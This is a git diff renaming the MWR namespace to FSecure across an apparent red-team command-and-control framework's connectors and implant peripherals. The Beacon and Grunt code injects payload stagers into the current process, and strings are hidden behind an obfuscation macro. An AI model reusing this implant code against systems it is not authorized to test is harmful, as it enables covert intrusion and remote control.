throw FSecure::SocketsException(OBF("Error receiving from Socket : ") + std::to_string(WSAGetLastError()) + ("."), WSAGetLastError());
if (!bytesRead || !chunkLength)
return {}; //< The connection has been gracefully closed.
@ -539,14 +539,14 @@ MWR::ByteVector MWR::C3::Interfaces::Connectors::Covenant::Connection::Receive()
return {}; //< The connection has been gracefully closed.
case SOCKET_ERROR:
throw MWR::SocketsException(OBF("Error receiving from Socket : ") + std::to_string(WSAGetLastError()) + OBF("."), WSAGetLastError());
throw FSecure::SocketsException(OBF("Error receiving from Socket : ") + std::to_string(WSAGetLastError()) + OBF("."), WSAGetLastError());
}
return Compression::Compress<Compression::Deflate>(buffer);
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
void MWR::C3::Interfaces::Connectors::Covenant::Connection::StartUpdatingInSeparateThread()
void FSecure::C3::Interfaces::Connectors::Covenant::Connection::StartUpdatingInSeparateThread()
{
m_SecondThreadStarted = true;
std::thread([this]()
@ -576,12 +576,12 @@ void MWR::C3::Interfaces::Connectors::Covenant::Connection::StartUpdatingInSepar
}).detach();
}
bool MWR::C3::Interfaces::Connectors::Covenant::Connection::SecondThreadStarted()
bool FSecure::C3::Interfaces::Connectors::Covenant::Connection::SecondThreadStarted()
{
return m_SecondThreadStarted;
}
MWR::ByteVector MWR::C3::Interfaces::Connectors::Covenant::PeripheralCreationCommand(ByteView connectionId, ByteView data, bool isX64)
FSecure::ByteVector FSecure::C3::Interfaces::Connectors::Covenant::PeripheralCreationCommand(ByteView connectionId, ByteView data, bool isX64)
{
auto [pipeName, delay, jitter, connectAttempts] = data.Read<std::string, uint32_t, uint32_t, uint32_t>();

View File

@ -2,7 +2,7 @@
#ifdef _DEBUG
namespace MWR::C3::Interfaces::Connectors
namespace FSecure::C3::Interfaces::Connectors
{
/// Class that mocks a Connector.
class MockServer : public Connector<MockServer>
@ -42,7 +42,7 @@ namespace MWR::C3::Interfaces::Connectors
/// Close desired connection
/// @param connectionId id of connection (RouteId) in string form.
/// @returns ByteVector empty vector.
MWR::ByteVector CloseConnection(ByteView connectionId) override;
FSecure::ByteVector CloseConnection(ByteView connectionId) override;
/// Represents a single connection with implant.
struct Connection : std::enable_shared_from_this<Connection>
@ -73,12 +73,12 @@ namespace MWR::C3::Interfaces::Connectors
}
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::C3::Interfaces::Connectors::MockServer::MockServer(ByteView)
FSecure::C3::Interfaces::Connectors::MockServer::MockServer(ByteView)
{
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
void MWR::C3::Interfaces::Connectors::MockServer::OnCommandFromBinder(ByteView binderId, ByteView command)
void FSecure::C3::Interfaces::Connectors::MockServer::OnCommandFromBinder(ByteView binderId, ByteView command)
{
std::scoped_lock<std::mutex> lock(m_ConnectionMapAccess);
@ -93,14 +93,14 @@ void MWR::C3::Interfaces::Connectors::MockServer::OnCommandFromBinder(ByteView b
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::C3::Interfaces::Connectors::MockServer::Connection::Connection(std::weak_ptr<MockServer> owner, std::string_view id)
FSecure::C3::Interfaces::Connectors::MockServer::Connection::Connection(std::weak_ptr<MockServer> owner, std::string_view id)
: m_Owner(owner)
, m_Id(ByteView{ id })
{
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
void MWR::C3::Interfaces::Connectors::MockServer::Connection::StartUpdatingInSeparateThread()
void FSecure::C3::Interfaces::Connectors::MockServer::Connection::StartUpdatingInSeparateThread()
{
std::thread([&, id = m_Id]()
{
@ -124,7 +124,7 @@ void MWR::C3::Interfaces::Connectors::MockServer::Connection::StartUpdatingInSep
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::ByteVector MWR::C3::Interfaces::Connectors::MockServer::OnRunCommand(ByteView command)
FSecure::ByteVector FSecure::C3::Interfaces::Connectors::MockServer::OnRunCommand(ByteView command)
{
auto commandCopy = command;
switch (command.Read<uint16_t>())
@ -138,21 +138,21 @@ MWR::ByteVector MWR::C3::Interfaces::Connectors::MockServer::OnRunCommand(ByteVi
}
}
MWR::ByteVector MWR::C3::Interfaces::Connectors::MockServer::CloseConnection(ByteView arguments)
FSecure::ByteVector FSecure::C3::Interfaces::Connectors::MockServer::CloseConnection(ByteView arguments)
{
m_ConnectionMap.erase(arguments);
return {};
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::ByteVector MWR::C3::Interfaces::Connectors::MockServer::TestErrorCommand(ByteView arg)
FSecure::ByteVector FSecure::C3::Interfaces::Connectors::MockServer::TestErrorCommand(ByteView arg)
{
GetBridge()->SetErrorStatus(arg.Read<std::string>());
return {};
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::ByteVector MWR::C3::Interfaces::Connectors::MockServer::PeripheralCreationCommand(ByteView connectionId, ByteView data, bool isX64)
FSecure::ByteVector FSecure::C3::Interfaces::Connectors::MockServer::PeripheralCreationCommand(ByteView connectionId, ByteView data, bool isX64)
{
if (!data.empty())
Log({ OBF("Non empty command for mock peripheral indicating parsing during command creation."), LogMessage::Severity::DebugInformation });
@ -161,7 +161,7 @@ MWR::ByteVector MWR::C3::Interfaces::Connectors::MockServer::PeripheralCreationC
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::ByteView MWR::C3::Interfaces::Connectors::MockServer::GetCapability()
FSecure::ByteView FSecure::C3::Interfaces::Connectors::MockServer::GetCapability()
{
return R"(
{

View File

@ -1,7 +1,7 @@
#include "StdAfx.h"
#include "Common/MWR/Sockets/SocketsException.h"
#include "Common/FSecure/Sockets/SocketsException.h"
namespace MWR::C3::Interfaces::Connectors
namespace FSecure::C3::Interfaces::Connectors
{
/// A class representing communication with Team Server.
struct TeamServer : Connector<TeamServer>
@ -50,7 +50,7 @@ namespace MWR::C3::Interfaces::Connectors
/// Sends data directly to Team Server.
/// @param data buffer containing blob to send.
/// @remarks throws MWR::WinSocketsException on WinSockets error.
/// @remarks throws FSecure::WinSocketsException on WinSockets error.
void Send(ByteView data);
/// Creates the receiving thread.
@ -88,12 +88,12 @@ namespace MWR::C3::Interfaces::Connectors
/// @param arch64 desired architecture of beacon.
/// @param block after block time TeamServer will send no-op packet.
/// @return generated payload.
MWR::ByteVector GeneratePayload(ByteView binderId, std::string pipename, bool arch64, uint32_t block);
FSecure::ByteVector GeneratePayload(ByteView binderId, std::string pipename, bool arch64, uint32_t block);
/// Close desired connection
/// @param connectionId id of connection (RouteId) in string form.
/// @returns ByteVector empty vector.
MWR::ByteVector CloseConnection(ByteView connectionId) override;
FSecure::ByteVector CloseConnection(ByteView connectionId) override;
/// Initializes Sockets library. Can be called multiple times, but requires corresponding number of calls to DeinitializeSockets() to happen before closing the application.
/// @return value forwarded from WSAStartup call (zero if successful).
@ -121,20 +121,20 @@ namespace MWR::C3::Interfaces::Connectors
}
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::C3::Interfaces::Connectors::TeamServer::TeamServer(ByteView arguments)
FSecure::C3::Interfaces::Connectors::TeamServer::TeamServer(ByteView arguments)
{
std::tie(m_ListeningPostAddress, m_ListeningPostPort) = arguments.Read<std::string, uint16_t>();
InitializeSockets();
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::C3::Interfaces::Connectors::TeamServer::~TeamServer()
FSecure::C3::Interfaces::Connectors::TeamServer::~TeamServer()
{
DeinitializeSockets();
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
void MWR::C3::Interfaces::Connectors::TeamServer::OnCommandFromBinder(ByteView binderId, ByteView command)
void FSecure::C3::Interfaces::Connectors::TeamServer::OnCommandFromBinder(ByteView binderId, ByteView command)
{
std::scoped_lock<std::mutex> lock(m_ConnectionMapAccess);
@ -149,7 +149,7 @@ void MWR::C3::Interfaces::Connectors::TeamServer::OnCommandFromBinder(ByteView b
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
int MWR::C3::Interfaces::Connectors::TeamServer::InitializeSockets()
int FSecure::C3::Interfaces::Connectors::TeamServer::InitializeSockets()
{
WSADATA wsaData;
WORD wVersionRequested;
@ -158,13 +158,13 @@ int MWR::C3::Interfaces::Connectors::TeamServer::InitializeSockets()
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
bool MWR::C3::Interfaces::Connectors::TeamServer::DeinitializeSockets()
bool FSecure::C3::Interfaces::Connectors::TeamServer::DeinitializeSockets()
{
return WSACleanup() == 0;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::ByteVector MWR::C3::Interfaces::Connectors::TeamServer::GeneratePayload(ByteView binderId, std::string pipename, bool arch64, uint32_t block)
FSecure::ByteVector FSecure::C3::Interfaces::Connectors::TeamServer::GeneratePayload(ByteView binderId, std::string pipename, bool arch64, uint32_t block)
{
if (binderId.empty() || pipename.empty())
throw std::runtime_error{OBF("Wrong parameters, cannot create payload")};
@ -180,20 +180,20 @@ MWR::ByteVector MWR::C3::Interfaces::Connectors::TeamServer::GeneratePayload(Byt
}
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//MWR::ByteVector MWR::C3::Interfaces::Connectors::TeamServer::GeneratePayload(ByteView arguments)
//FSecure::ByteVector FSecure::C3::Interfaces::Connectors::TeamServer::GeneratePayload(ByteView arguments)
//{
// auto [pipename, arch64, block] = arguments.Read<std::string, bool, uint32_t>();
// return GeneratePayload(pipename, arch64, block);
//}
MWR::ByteVector MWR::C3::Interfaces::Connectors::TeamServer::CloseConnection(ByteView arguments)
FSecure::ByteVector FSecure::C3::Interfaces::Connectors::TeamServer::CloseConnection(ByteView arguments)
{
m_ConnectionMap.erase(arguments);
return {};
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::ByteVector MWR::C3::Interfaces::Connectors::TeamServer::OnRunCommand(ByteView command)
FSecure::ByteVector FSecure::C3::Interfaces::Connectors::TeamServer::OnRunCommand(ByteView command)
{
auto commandCopy = command;
switch (command.Read<uint16_t>())
@ -208,7 +208,7 @@ MWR::ByteVector MWR::C3::Interfaces::Connectors::TeamServer::OnRunCommand(ByteVi
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::ByteView MWR::C3::Interfaces::Connectors::TeamServer::GetCapability()
FSecure::ByteView FSecure::C3::Interfaces::Connectors::TeamServer::GetCapability()
{
return R"(
{
@ -274,7 +274,7 @@ MWR::ByteView MWR::C3::Interfaces::Connectors::TeamServer::GetCapability()
//},
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::C3::Interfaces::Connectors::TeamServer::Connection::Connection(std::string_view listeningPostAddress, uint16_t listeningPostPort, std::weak_ptr<TeamServer> owner, std::string_view id)
FSecure::C3::Interfaces::Connectors::TeamServer::Connection::Connection(std::string_view listeningPostAddress, uint16_t listeningPostPort, std::weak_ptr<TeamServer> owner, std::string_view id)
: m_Owner(owner)
, m_Id(ByteView{ id })
{
@ -286,25 +286,25 @@ MWR::C3::Interfaces::Connectors::TeamServer::Connection::Connection(std::string_
case 0:
throw std::invalid_argument(OBF("Provided Listening Post address in not a valid IPv4 dotted - decimal string or a valid IPv6 address."));
case -1:
throw MWR::SocketsException(OBF("Couldn't convert standard text IPv4 or IPv6 address into its numeric binary form. Error code : ") + std::to_string(WSAGetLastError()) + OBF("."), WSAGetLastError());
throw FSecure::SocketsException(OBF("Couldn't convert standard text IPv4 or IPv6 address into its numeric binary form. Error code : ") + std::to_string(WSAGetLastError()) + OBF("."), WSAGetLastError());
}
// Attempt to connect.
if (INVALID_SOCKET == (m_Socket = socket(AF_INET, SOCK_STREAM, 0)))
throw MWR::SocketsException(OBF("Couldn't create socket."), WSAGetLastError());
throw FSecure::SocketsException(OBF("Couldn't create socket."), WSAGetLastError());
if (SOCKET_ERROR == connect(m_Socket, (struct sockaddr*) & client, sizeof(client)))
throw MWR::SocketsException(OBF("Could not connect to ") + std::string{ listeningPostAddress } + OBF(":") + std::to_string(listeningPostPort) + OBF("."), WSAGetLastError());
throw FSecure::SocketsException(OBF("Could not connect to ") + std::string{ listeningPostAddress } + OBF(":") + std::to_string(listeningPostPort) + OBF("."), WSAGetLastError());
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::C3::Interfaces::Connectors::TeamServer::Connection::~Connection()
FSecure::C3::Interfaces::Connectors::TeamServer::Connection::~Connection()
{
closesocket(m_Socket);
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
void MWR::C3::Interfaces::Connectors::TeamServer::Connection::Send(ByteView data)
void FSecure::C3::Interfaces::Connectors::TeamServer::Connection::Send(ByteView data)
{
auto owner = m_Owner.lock();
if (!owner)
@ -314,19 +314,19 @@ void MWR::C3::Interfaces::Connectors::TeamServer::Connection::Send(ByteView data
// Write four bytes indicating the length of the next chunk of data.
DWORD chunkLength = static_cast<DWORD>(data.size()), bytesWritten = 0;
if (SOCKET_ERROR == send(m_Socket, reinterpret_cast<char*>(&chunkLength), 4, 0))
throw MWR::SocketsException(OBF("Error sending to Socket : ") + std::to_string(WSAGetLastError()) + OBF("."), WSAGetLastError());
throw FSecure::SocketsException(OBF("Error sending to Socket : ") + std::to_string(WSAGetLastError()) + OBF("."), WSAGetLastError());
// Write the chunk to socket.
if (SOCKET_ERROR == send(m_Socket, reinterpret_cast<const char*>(&data.front()), static_cast<int>(chunkLength), 0))
throw MWR::SocketsException(OBF("Error sending to Socket : ") + std::to_string(WSAGetLastError()) + OBF("."), WSAGetLastError());
throw FSecure::SocketsException(OBF("Error sending to Socket : ") + std::to_string(WSAGetLastError()) + OBF("."), WSAGetLastError());
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::ByteVector MWR::C3::Interfaces::Connectors::TeamServer::Connection::Receive()
FSecure::ByteVector FSecure::C3::Interfaces::Connectors::TeamServer::Connection::Receive()
{
DWORD chunkLength = 0, bytesRead;
if (SOCKET_ERROR == (bytesRead = recv(m_Socket, reinterpret_cast<char*>(&chunkLength), 4, 0)))
throw MWR::SocketsException(OBF("Error receiving from Socket : ") + std::to_string(WSAGetLastError()) + ("."), WSAGetLastError());
throw FSecure::SocketsException(OBF("Error receiving from Socket : ") + std::to_string(WSAGetLastError()) + ("."), WSAGetLastError());
if (!bytesRead || !chunkLength)
return {}; //< The connection has been gracefully closed.
@ -341,14 +341,14 @@ MWR::ByteVector MWR::C3::Interfaces::Connectors::TeamServer::Connection::Receive
return {}; //< The connection has been gracefully closed.
case SOCKET_ERROR:
throw MWR::SocketsException(OBF("Error receiving from Socket : ") + std::to_string(WSAGetLastError()) + OBF("."), WSAGetLastError());
throw FSecure::SocketsException(OBF("Error receiving from Socket : ") + std::to_string(WSAGetLastError()) + OBF("."), WSAGetLastError());
}
return buffer;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
void MWR::C3::Interfaces::Connectors::TeamServer::Connection::StartUpdatingInSeparateThread()
void FSecure::C3::Interfaces::Connectors::TeamServer::Connection::StartUpdatingInSeparateThread()
{
m_SecondThreadStarted = true;
std::thread([this]()
@ -378,12 +378,12 @@ void MWR::C3::Interfaces::Connectors::TeamServer::Connection::StartUpdatingInSep
}).detach();
}
bool MWR::C3::Interfaces::Connectors::TeamServer::Connection::SecondThreadStarted()
bool FSecure::C3::Interfaces::Connectors::TeamServer::Connection::SecondThreadStarted()
{
return m_SecondThreadStarted;
}
MWR::ByteVector MWR::C3::Interfaces::Connectors::TeamServer::PeripheralCreationCommand(ByteView connectionId, ByteView data, bool isX64)
FSecure::ByteVector FSecure::C3::Interfaces::Connectors::TeamServer::PeripheralCreationCommand(ByteView connectionId, ByteView data, bool isX64)
{
auto [pipeName, maxConnectionTrials, delayBetweenConnectionTrials/*, payload*/] = data.Read<std::string, uint16_t, uint16_t/*, ByteView*/>();

View File

@ -2,7 +2,7 @@
#include "Beacon.h"
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::C3::Interfaces::Peripherals::Beacon::Beacon(ByteView arguments)
FSecure::C3::Interfaces::Peripherals::Beacon::Beacon(ByteView arguments)
{
auto [pipeName, maxConnectionTrials, delayBetweenConnectionTrials, payload] = arguments.Read<std::string, uint16_t, uint16_t, ByteView>();
@ -16,7 +16,7 @@ MWR::C3::Interfaces::Peripherals::Beacon::Beacon(ByteView arguments)
// Injection buffer can be local because it's just a stager
WinTools::InjectionBuffer m_BeaconStager(payload);
namespace SEH = MWR::WinTools::StructuredExceptionHandling;
namespace SEH = FSecure::WinTools::StructuredExceptionHandling;
// use explicit type to bypass overload resolution
DWORD(WINAPI * sehWrapper)(SEH::CodePointer) = SEH::SehWrapper;
// Inject the payload stage into the current process.
@ -44,7 +44,7 @@ MWR::C3::Interfaces::Peripherals::Beacon::Beacon(ByteView arguments)
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::C3::Interfaces::Peripherals::Beacon::~Beacon()
FSecure::C3::Interfaces::Peripherals::Beacon::~Beacon()
{
// Check if thread already finished running and kill if otherwise
if (WaitForSingleObject(m_BeaconThread, 0) != WAIT_OBJECT_0)
@ -52,7 +52,7 @@ MWR::C3::Interfaces::Peripherals::Beacon::~Beacon()
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
void MWR::C3::Interfaces::Peripherals::Beacon::OnCommandFromConnector(ByteView data)
void FSecure::C3::Interfaces::Peripherals::Beacon::OnCommandFromConnector(ByteView data)
{
// Get access to write when whole reed is done.
std::unique_lock<std::mutex> lock{ m_Mutex };
@ -71,7 +71,7 @@ void MWR::C3::Interfaces::Peripherals::Beacon::OnCommandFromConnector(ByteView d
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::ByteVector MWR::C3::Interfaces::Peripherals::Beacon::OnReceiveFromPeripheral()
FSecure::ByteVector FSecure::C3::Interfaces::Peripherals::Beacon::OnReceiveFromPeripheral()
{
// Get Access to reed after normal write.
std::unique_lock<std::mutex> lock{ m_Mutex };
@ -99,13 +99,13 @@ MWR::ByteVector MWR::C3::Interfaces::Peripherals::Beacon::OnReceiveFromPeriphera
return ret;
}
bool MWR::C3::Interfaces::Peripherals::Beacon::IsNoOp(ByteView data)
bool FSecure::C3::Interfaces::Peripherals::Beacon::IsNoOp(ByteView data)
{
return data.size() == 1 && data[0] == 0u;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::ByteView MWR::C3::Interfaces::Peripherals::Beacon::GetCapability()
FSecure::ByteView FSecure::C3::Interfaces::Peripherals::Beacon::GetCapability()
{
return R"(
{
@ -141,9 +141,9 @@ MWR::ByteView MWR::C3::Interfaces::Peripherals::Beacon::GetCapability()
)";
}
void MWR::C3::Interfaces::Peripherals::Beacon::Close()
void FSecure::C3::Interfaces::Peripherals::Beacon::Close()
{
MWR::C3::Device::Close();
FSecure::C3::Device::Close();
std::scoped_lock lock(m_Mutex);
m_Close = true;
m_ConditionalVariable.notify_one();

View File

@ -1,14 +1,14 @@
#pragma once
#include <optional>
#include "Common/MWR/WinTools/Pipe.h"
#include "Common/FSecure/WinTools/Pipe.h"
/// Forward declaration of Connector associated with implant.
/// Connectors implementation is only available on GateRelay, not NodeRelays.
/// Declaration must be identical to Connector definition. Namespace or struct/class mismatch will make Peripheral unusable.
namespace MWR::C3::Interfaces::Connectors { struct TeamServer; }
namespace FSecure::C3::Interfaces::Connectors { struct TeamServer; }
namespace MWR::C3::Interfaces::Peripherals
namespace FSecure::C3::Interfaces::Peripherals
{
/// Class representing Beacon stager.
struct Beacon : public Peripheral<Beacon, Connectors::TeamServer>

View File

@ -157,7 +157,7 @@ Cleanup:
}
MWR::C3::Interfaces::Peripherals::Grunt::Grunt(ByteView arguments)
FSecure::C3::Interfaces::Peripherals::Grunt::Grunt(ByteView arguments)
{
auto [pipeName, payload, connectAttempts] = arguments.Read<std::string, ByteVector, uint32_t>();
@ -166,7 +166,7 @@ MWR::C3::Interfaces::Peripherals::Grunt::Grunt(ByteView arguments)
SIZE_T len = payload.size();
//Setup the arguments to run the .NET assembly in a seperate thread.
namespace SEH = MWR::WinTools::StructuredExceptionHandling;
namespace SEH = FSecure::WinTools::StructuredExceptionHandling;
SEH::gruntArgs args;
args.gruntStager = x;
args.len = len;
@ -196,7 +196,7 @@ MWR::C3::Interfaces::Peripherals::Grunt::Grunt(ByteView arguments)
throw std::runtime_error{ OBF("Grunt creation failed") };
}
void MWR::C3::Interfaces::Peripherals::Grunt::OnCommandFromConnector(ByteView data)
void FSecure::C3::Interfaces::Peripherals::Grunt::OnCommandFromConnector(ByteView data)
{
// Get access to write when whole read is done.
std::unique_lock<std::mutex> lock{ m_Mutex };
@ -214,7 +214,7 @@ void MWR::C3::Interfaces::Peripherals::Grunt::OnCommandFromConnector(ByteView da
}
MWR::ByteVector MWR::C3::Interfaces::Peripherals::Grunt::OnReceiveFromPeripheral()
FSecure::ByteVector FSecure::C3::Interfaces::Peripherals::Grunt::OnReceiveFromPeripheral()
{
std::unique_lock<std::mutex> lock{ m_Mutex };
m_ConditionalVariable.wait(lock, [this]() { return m_ReadingState || m_Close; });
@ -233,16 +233,16 @@ MWR::ByteVector MWR::C3::Interfaces::Peripherals::Grunt::OnReceiveFromPeripheral
}
void MWR::C3::Interfaces::Peripherals::Grunt::Close()
void FSecure::C3::Interfaces::Peripherals::Grunt::Close()
{
MWR::C3::Device::Close();
FSecure::C3::Device::Close();
std::scoped_lock lock(m_Mutex);
m_Close = true;
m_ConditionalVariable.notify_one();
}
MWR::ByteView MWR::C3::Interfaces::Peripherals::Grunt::GetCapability()
FSecure::ByteView FSecure::C3::Interfaces::Peripherals::Grunt::GetCapability()
{
return R"(
{

View File

@ -8,14 +8,14 @@
#import "mscorlib.tlb" raw_interfaces_only high_property_prefixes("_get", "_put", "_putref") rename("ReportEvent", "InteropServices_ReportEvent") auto_rename
using namespace mscorlib;
#include "Common/MWR/WinTools/Pipe.h"
#include "Common/FSecure/WinTools/Pipe.h"
/// Forward declaration of Connector associated with implant.
/// Connectors implementation is only available on GateRelay, not NodeRelays.
/// Declaration must be identical to Connector definition. Namespace or struct/class mismatch will make Peripheral unusable.
namespace MWR::C3::Interfaces::Connectors { struct Covenant; }
namespace FSecure::C3::Interfaces::Connectors { struct Covenant; }
namespace MWR::C3::Interfaces::Peripherals
namespace FSecure::C3::Interfaces::Peripherals
{
/// Class representing Grunt stager.
struct Grunt : public Peripheral<Grunt, Connectors::Covenant>

View File

@ -4,21 +4,21 @@
#ifdef _DEBUG
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::C3::Interfaces::Peripherals::Mock::Mock(ByteView)
FSecure::C3::Interfaces::Peripherals::Mock::Mock(ByteView)
: m_NextMessageTime{ std::chrono::high_resolution_clock::now() }
{
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
void MWR::C3::Interfaces::Peripherals::Mock::OnCommandFromConnector(ByteView packet)
void FSecure::C3::Interfaces::Peripherals::Mock::OnCommandFromConnector(ByteView packet)
{
// Construct a copy of received packet trimmed to 10 characters and add log it.
Log({ OBF("Mock received: ") + std::string{ packet.begin(), packet.size() < 10 ? packet.end() : packet.begin() + 10 } + OBF("..."), LogMessage::Severity::DebugInformation });
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::ByteVector MWR::C3::Interfaces::Peripherals::Mock::OnReceiveFromPeripheral()
FSecure::ByteVector FSecure::C3::Interfaces::Peripherals::Mock::OnReceiveFromPeripheral()
{
// Send heart beat every 5s.
if (m_NextMessageTime > std::chrono::high_resolution_clock::now())
@ -28,7 +28,7 @@ MWR::ByteVector MWR::C3::Interfaces::Peripherals::Mock::OnReceiveFromPeripheral(
return ByteView{ OBF("Beep") };
}
MWR::ByteVector MWR::C3::Interfaces::Peripherals::Mock::OnRunCommand(ByteView command)
FSecure::ByteVector FSecure::C3::Interfaces::Peripherals::Mock::OnRunCommand(ByteView command)
{
auto commandCopy = command;
switch (command.Read<uint16_t>())
@ -40,14 +40,14 @@ MWR::ByteVector MWR::C3::Interfaces::Peripherals::Mock::OnRunCommand(ByteView co
}
}
MWR::ByteVector MWR::C3::Interfaces::Peripherals::Mock::TestErrorCommand(ByteView arg)
FSecure::ByteVector FSecure::C3::Interfaces::Peripherals::Mock::TestErrorCommand(ByteView arg)
{
GetBridge()->SetErrorStatus(arg.Read<std::string>());
return {};
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::ByteView MWR::C3::Interfaces::Peripherals::Mock::GetCapability()
FSecure::ByteView FSecure::C3::Interfaces::Peripherals::Mock::GetCapability()
{
return R"(
{

View File

@ -5,9 +5,9 @@
/// Forward declaration of Connector associated with implant.
/// Connectors implementation is only available on GateRelay, not NodeRelays.
/// Declaration must be identical to Connector definition. Namespace or struct/class mismatch will make Peripheral unusable.
namespace MWR::C3::Interfaces::Connectors { class MockServer; }
namespace FSecure::C3::Interfaces::Connectors { class MockServer; }
namespace MWR::C3::Interfaces::Peripherals
namespace FSecure::C3::Interfaces::Peripherals
{
/// Class representing mock implant.
class Mock : public Peripheral<Mock, Connectors::MockServer>

View File

@ -1,10 +1,10 @@
#pragma once
#include "Common/MWR/CppTools/Hash.h"
#include "Common/FSecure/CppTools/Hash.h"
#include "InterfaceFactory.h"
#include "Interface.h"
namespace MWR::C3
namespace FSecure::C3
{
/// Template class handling registration of Interface before main function.
/// @tparam Iface. Interface to be registered.
@ -111,7 +111,7 @@ namespace MWR::C3
/// Callback that is periodically called for every Device to update itself.
/// This is point where dynamic polymorphisms is replaced by static one with recognition of returned value.
/// Types using Channel CRTP should implement MWR::ByteVector OnReceiveFromChannel(), or std::vector<MWR::ByteVector> OnReceiveFromChannel()
/// Types using Channel CRTP should implement FSecure::ByteVector OnReceiveFromChannel(), or std::vector<FSecure::ByteVector> OnReceiveFromChannel()
/// @return std::vector<ByteVector> that contains all packets retrieved from Channel.
std::vector<ByteVector> OnReceiveFromChannelInternal() override final
{
@ -141,7 +141,7 @@ namespace MWR::C3
/// Alias to test if OnReceiveFromChannel is implemented.
/// Use in form CanRecive<Iface>::value to obtain bool value with information.
template<class...Ts>
using CanRecive = MWR::Utils::CanApply<ReceiveReturnType, Iface, Ts...>;
using CanRecive = FSecure::Utils::CanApply<ReceiveReturnType, Iface, Ts...>;
/// Alias to get result of OnSendToChannel call.
/// Use in form SendReturnType<Iface, ByteView> to obtain type.
@ -152,7 +152,7 @@ namespace MWR::C3
/// Alias to test if OnSendToChannel is implemented.
/// Use in form CanSend<Iface>::value to obtain bool value with information.
template<class...Ts>
using CanSend = MWR::Utils::CanApply<SendReturnType, Iface, Ts...>;
using CanSend = FSecure::Utils::CanApply<SendReturnType, Iface, Ts...>;
/// Virtual OnSendToChannelInternal cannot be templated.
/// This function will be available for call if OnReceiveFromChannel returns ByteVector.

View File

@ -1,13 +1,13 @@
#pragma once
#include "Common/MWR/CppTools/ByteView.h"
#include "Common/FSecure/CppTools/ByteView.h"
namespace MWR
namespace FSecure
{
using HashT = std::uint32_t;
}
namespace MWR::C3
namespace FSecure::C3
{
//Forward declaration
class InterfaceFactory;
@ -25,7 +25,7 @@ namespace MWR::C3
/// Enumeration type for information severity.
enum class Severity { Information, Warning, Error, DebugInformation };
MWR::SecureString m_Body; ///< Message's text.
FSecure::SecureString m_Body; ///< Message's text.
Severity m_Severity; ///< Message's type.
LogMessage(std::string_view message, Severity severity)
@ -70,7 +70,7 @@ namespace MWR::C3
/// @param message information to log.
/// @param sender ID of the Interface reporting the message. If sender.empty() then the message comes from internal Relay mechanisms. If sender is null then it comes from outside the Relay.
/// @return Constructed string.
std::string ConvertLogMessageToConsoleText(std::string_view relayName, MWR::C3::LogMessage const& message, std::string_view* sender);
std::string ConvertLogMessageToConsoleText(std::string_view relayName, FSecure::C3::LogMessage const& message, std::string_view* sender);
}
/// Device bridge between C3 Core and C3 Mantle.

View File

@ -3,7 +3,7 @@
#include <type_traits>
// Probably going to be removed
namespace MWR
namespace FSecure
{
/// Check if constructor exist. Signature of constructor is also checked.
/// Ambiguous constructor will return false.

View File

@ -2,7 +2,7 @@
#include "Interface.h"
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
void MWR::C3::AbstractPeripheral::OnReceive()
void FSecure::C3::AbstractPeripheral::OnReceive()
{
if (auto bridge = GetBridge(); bridge)
if (auto command = OnReceiveFromPeripheral(); !command.empty())
